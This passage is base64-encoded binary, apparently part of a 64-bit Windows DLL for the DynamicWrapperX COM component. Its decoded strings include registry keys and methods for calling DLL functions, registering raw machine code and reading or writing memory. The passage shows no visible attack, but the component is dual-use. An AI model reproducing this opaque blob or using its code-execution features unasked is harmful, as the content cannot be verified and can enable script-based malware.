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0d2FyZVxDbGFzc2VzXENMU0lEXHs4OTU2NTI3Ni1BNzE0LTRhNDMtOTEyRS05NzhCOTM1RURDQ0N9AHg4NgB4NjQAJXNcJXMAQ0xTSUQASW5Qcm9jU2VydmVyMzIAVGhyZWFkaW5nTW9kZWwAQm90aAAAAAAAAAAAAAAAWGIAEAAAAABjAGEAbABsAAAAQwBhAGwAbABiAGEAYwBrAAAAAAAAAAAAAID/////////fwAAAAD/////AAAAAAAAAAAAAACA/////////3//////////////////////PkBbAHYAaQD5AFsA6gBbAJEAWwBbAFsAbACRAGsAgALPAM8AWwAVAXsAgADtAswBWwAbAg4BIAA6ADoARAAgAD4AIAAsACAAIAAgADEALAA1ACAALAAsACAAIAA1ADEAIAAgACAAIAAgACEARwBHAFkAIQBPACEALQAhACEAIQA2AC0APgAhAC0ALQAhACEAPgA2ACEAIQAhACEAIQBTAGgAYwBmAGYAaABoAGgAaABoAGYAYwBTAGgAawBTAGEAYQBjAGYAaABoAGYAZgAAAJIAkgDCAAAA8gAAAAIAAAAAAAAAMgACAGIAAAACAAIAAAAiAWIAMgBSASIBAAAiASIBAADIAF0BUAFRAV8BZAHIAGQBKwEhAVsBUAHIACEByADIAE4BVQFYAVsBUwFdAVEBWwHIAOEB2AHZAfcB/AHIAPwBKwEhAeEB2AHIACEByADIANYB2wHeAeEB8gHjAdkB4QHIAE0CNQI2An4CgwLIAIMCyADIAFACNQLIAMgAyADIADMCSgJNAlACXQJxAjYCUALIALACnwKgAuAC5QLIAOUCyADIALYCnwLIAMgAyADIAJ0CsAKzArYCwwLTAqACtgLIACADJgMnAwADBwPIAAcDyADIACADyADIAMgAyADIACQDGgMdAyADMANEAycDIAPIALMDrAO3A48DcgPIAHIDyADIALMDyADIAMgAyADIAKoDogOlA7MDuQPNA7cDswPIAPgD7QPuAwUECgTIAMgAGwTIAMgAyADIAMgAyADIAOsD8gP1A/gD+gP6A+4D+ANlBWUFZQVlBWUFZQVlBWUFZQVlBWUFZQVlBWUFZQVlBWUFZQVlBWUFZQVlBWUFZQUlc0EARABlAGYAYQB1AGwAdAAAADhlABAAAAAAkjcAEAAAAAA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uAHQAYQB4ACAAZQByAHIAbwByABoAVQBuAHMAdQBwAHAAbwByAHQAZQBkACAAcABhAHIAYQBtAGUAdABlAHIAIAB0AHkAcABlAB0AVQBuAHMAdQBwAHAAbwByAHQAZQBkACAAcgBlAHQAdQByAG4AIAB2AGEAbAB1AGUAIAB0AHkAcABlADYAQQByAGcAdQBtAGUAbgB0ACAAdAB5AHAAZQAgAGMAYQBuACcAdAAgAGIAZQAgAGMAbwBlAHIAYwBlAGQAIABpAG4AdABvACAAdABoAGUAIABwAGEAcgBhAG0AZQB0AGUAcgAgAHQAeQBwAGUANQBSAGUAdAB1AHIAbgAgAHYAYQBsAHUAZQAgAGMAYQBuACcAdAAgAGIAZQAgAGMAbwBlAHIAYwBlAGQAIABpAG4AdABvACAAdABoAGUAIABzAHAAZQBjAGkAZgBpAGUAZAAgAHQAeQBwAGUAUABWAGEAbAB1AGUAIAByAGUAdAB1AHIAbgBlAGQAIABiAHkAIAB0AGgAZQAgAGMAYQBsAGwAYgBhAGMAawAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBuACcAdAAgAGIAZQAgAGMAbwBlAHIAYwBlAGQAIABpAG4AdABvACAAdABoAGUAIABzAHAAZQBjAGkAZgBpAGUAZAAgAHQAeQBwAGUAMgBBAHIAZwB1AG0AZQBuAHQAIAB2AGEAbAB1AGUAIABvAHUAdAAgAG8AZgAgAHIAYQBuAGcAZQAgAGYAbwByACAAdABoAGUAIABwAGEAcgBhAG0AZQB0AGUAcgAgAHQAeQBwAGUAMABSAGUAdAB1AHIAbgAgAHYAYQBsAHUAZQAgAG8AdQB0ACAAbwBmACAAcgBhAG4AZwBlACAAZgBvAHIAIAB0AGgAZQAgAHMAcABlAGMAaQBmAGkAZQBkACAAdAB5AHAAZQBOAFYAYQBsAHUAZQAgAHIAZQB0AHUAcgBuAGUAZAAgAGIAeQAgAHQAaABlACAAYwBhAGwAbABiAGEAYwBrACAAZgB1AG4AYwB0AGkAbwBuACAAaQBzACAAbwB1AHQAIABvAGYAIAByAGEAbgBnAGUAIABmAG8AcgAgAHQAaABlACAAcwBwAGUAYwBpAGYAaQBlAGQAIAB0AHkAcABlABoAVABvAG8AIABtAGEAbgB5ACAAbwB1AHQAcAB1AHQAIABwAGEAcgBhAG0AZQB0AGUAcgBzABYASQBuAHYAYQBsAGkAZAAgAGEAcgBnAHUAbQBlAG4AdAAgAHYAYQBsAHUAZQAVAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAAAAAAYAB4ESAQ4BDEEOgQwBCAAMAB4ACUAWAAgADIEIABEBEMEPQQ6BEYEOAQ4BCAAJQBzACIAHQQ1